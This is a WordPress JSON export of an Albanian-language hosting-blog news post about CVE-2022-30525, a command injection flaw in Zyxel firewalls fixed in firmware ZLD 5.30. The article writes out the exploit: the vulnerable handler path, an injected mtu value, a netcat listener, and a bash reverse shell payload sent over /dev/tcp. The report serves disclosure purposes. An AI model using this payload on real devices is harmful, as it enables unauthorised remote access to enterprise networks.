{"id":104018,"date":"2022-05-13T21:36:39","date_gmt":"2022-05-13T19:36:39","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/uyazvimost-v-mezhsetevyh-ekranah-zyxel-pozvolyayushhaya-vypolnit-kod-bez-autentifikaczii"},"modified":"2022-05-13T21:36:39","modified_gmt":"2022-05-13T19:36:39","slug":"uyazvimost-v-mezhsetevyh-ekranah-zyxel-pozvolyayushhaya-vypolnit-kod-bez-autentifikaczii","status":"publish","type":"post","link":"https:\/\/prohoster.info\/sq\/blog\/novosti-interneta\/uyazvimost-v-mezhsetevyh-ekranah-zyxel-pozvolyayushhaya-vypolnit-kod-bez-autentifikaczii","title":{"rendered":"Vulnerabilitet n\u00eb firewall-at Zyxel, i cili lejon ekzekutimin e kodit pa autentifikim.","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

N\u00eb pajisjet Zyxel t\u00eb serive ATP, VPN dhe USG FLEX, t\u00eb destinuara p\u00ebr menaxhimin e goditjeve n\u00eb rrjet, IDS dhe VPN n\u00eb nd\u00ebrmarrje, \u00ebsht\u00eb zbuluar nj\u00eb vulnerabilitet kritik (CVE-2022-30525), i cili lejon nj\u00eb sulmues t\u00eb jasht\u00ebm t\u00eb ekzekutoj\u00eb kod n\u00eb pajisje me t\u00eb drejta t\u00eb p\u00ebrdoruesit nobody pa autentifikim. P\u00ebr t\u00eb kryer sulmin, sulmuesi duhet t\u00eb ket\u00eb mund\u00ebsin\u00eb t\u00eb d\u00ebrgoj\u00eb k\u00ebrkesa n\u00eb pajisje n\u00ebp\u00ebrmjet protokollit HTTP\/HTTPS. Kompania Zyxel ka eliminuar k\u00ebt\u00eb vulnerabilitet me azhurnimin e firmware-it ZLD 5.30. Sipas sh\u00ebrbimit Shodan, aktualisht n\u00eb rrjetin global jan\u00eb regjistruar 16213 pajisje potencialisht vulnerab\u00ebl, t\u00eb cilat pranojn\u00eb k\u00ebrkesa p\u00ebrmes HTTP\/HTTPS. <\/p>\n

Shfryt\u00ebzimi kryhet p\u00ebrmes d\u00ebrgimit t\u00eb komandave t\u00eb hartuara posa\u00e7\u00ebrisht te web-ndihmuesi \/ztp\/cgi-bin\/handler, i cili \u00ebsht\u00eb i qassh\u00ebm pa autentifikim. Problemi \u00ebsht\u00eb shkaktuar nga mungesa e pastrimit t\u00eb duhur t\u00eb parametrave t\u00eb k\u00ebrkes\u00ebs gjat\u00eb ekzekutimit t\u00eb komandave n\u00eb sistem me thirrjen os.system, e cila p\u00ebrdoret n\u00eb bibliotek\u00ebn lib_wan_settings.py dhe ekzekutohet gjat\u00eb p\u00ebrpunimit t\u00eb operacionit setWanPortSt. <\/p>\n

P\u00ebr shembull, nj\u00eb sulmues mund t\u00eb d\u00ebrgoj\u00eb n\u00eb fush\u00ebn mtu nj\u00eb varg «; ping 192.168.1.210;» i cili do t\u00eb \u00e7oj\u00eb n\u00eb ekzekutimin e komand\u00ebs «ping 192.168.1.210» n\u00eb sistem. P\u00ebr t\u00eb fituar akses n\u00eb shell-in e komand\u00ebs, mund t\u00eb filloni n\u00eb sistemin tuaj «nc -lvnp 1270″, e m\u00eb pas t\u00eb nxisni nj\u00eb lidhje t\u00eb kthyer (reverse shell) duke d\u00ebrguar nj\u00eb k\u00ebrkes\u00eb n\u00eb pajisje me parametrin ‘; bash -c \»exec bash -i &>\/dev\/tcp\/192.168.1.210\/1270 <&1;\»;’.
\n
Burimi: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"

\u0412 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 Zyxel \u0441\u0435\u0440\u0438\u0439 ATP, VPN \u0438 USG FLEX, \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043d\u044b\u0445 \u0434\u043b\u044f \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0440\u0430\u0431\u043e\u0442\u044b \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u044d\u043a\u0440\u0430\u043d\u043e\u0432, IDS \u0438 VPN \u043d\u0430 \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u044f\u0442\u0438\u044f\u0445, \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2022-30525), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0432\u043d\u0435\u0448\u043d\u0435\u043c\u0443 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u043c\u0443 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f nobody. \u0414\u043b\u044f \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u044f \u0430\u0442\u0430\u043a\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0434\u043e\u043b\u0436\u0435\u043d \u0438\u043c\u0435\u0442\u044c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0438 \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u043f\u043e \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0443 HTTP\/HTTPS. \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Zyxel \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c […]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-104018","post","type-post","status-publish","format-standard","hentry","category-novosti-interneta"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\n","aioseo_head_json":{"title":"\ud83e\udd47Vulnerabiliteti n\u00eb firewalls Zyxel, i cili lejon ekzekutimin e kodit pa autentifikim | ProHoster","description":"N\u00eb pajisjet Zyxel t\u00eb serive ATP, VPN dhe USG FLEX, t\u00eb destinuara p\u00ebr menaxhimin e goditjeve n\u00eb rrjet, IDS dhe VPN n\u00eb nd\u00ebrmarrje, \u00ebsht\u00eb zbuluar nj\u00eb vulnerabilitet kritik (CVE-2022-30525), i cili lejon nj\u00eb sulmues t\u00eb jasht\u00ebm t\u00eb ekzekutoj\u00eb kod n\u00eb pajisje me t\u00eb drejta t\u00eb p\u00ebrdoruesit nobody pa autentifikim. P\u00ebr t\u00eb kryer sulmin, sulmuesi duhet t\u00eb ket\u00eb mund\u00ebsin\u00eb t\u00eb d\u00ebrgoj\u00eb k\u00ebrkesa n\u00eb pajisje n\u00ebp\u00ebrmjet protokollit HTTP\/HTTPS. Kompania Zyxel ka eliminuar k\u00ebt\u00eb vulnerabilitet.","canonical_url":"https:\/\/prohoster.info\/sq\/blog\/novosti-interneta\/uyazvimost-v-mezhsetevyh-ekranah-zyxel-pozvolyayushhaya-vypolnit-kod-bez-autentifikaczii","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"sq_AL","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u044d\u043a\u0440\u0430\u043d\u0430\u0445 Zyxel, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 | ProHoster","og:description":"\u0412 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 Zyxel \u0441\u0435\u0440\u0438\u0439 ATP, VPN \u0438 USG FLEX, \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043d\u044b\u0445 \u0434\u043b\u044f \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0440\u0430\u0431\u043e\u0442\u044b \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u044d\u043a\u0440\u0430\u043d\u043e\u0432, IDS \u0438 VPN \u043d\u0430 \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u044f\u0442\u0438\u044f\u0445, \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2022-30525), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0432\u043d\u0435\u0448\u043d\u0435\u043c\u0443 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u043c\u0443 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f nobody. \u0414\u043b\u044f \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u044f \u0430\u0442\u0430\u043a\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0434\u043e\u043b\u0436\u0435\u043d \u0438\u043c\u0435\u0442\u044c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0438 \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u043f\u043e \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0443 HTTP\/HTTPS. \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Zyxel \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c","og:url":"https:\/\/prohoster.info\/sq\/blog\/novosti-interneta\/uyazvimost-v-mezhsetevyh-ekranah-zyxel-pozvolyayushhaya-vypolnit-kod-bez-autentifikaczii","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2022-05-13T19:36:39+00:00","article:modified_time":"2022-05-13T19:36:39+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"104018","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":"default","schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":"2026-01-25 11:00:52","breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2022-05-13 19:37:39","updated":"2026-01-25 11:00:52","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/posts\/104018","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/comments?post=104018"}],"version-history":[{"count":0,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/posts\/104018\/revisions"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/media?parent=104018"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/categories?post=104018"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/tags?post=104018"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}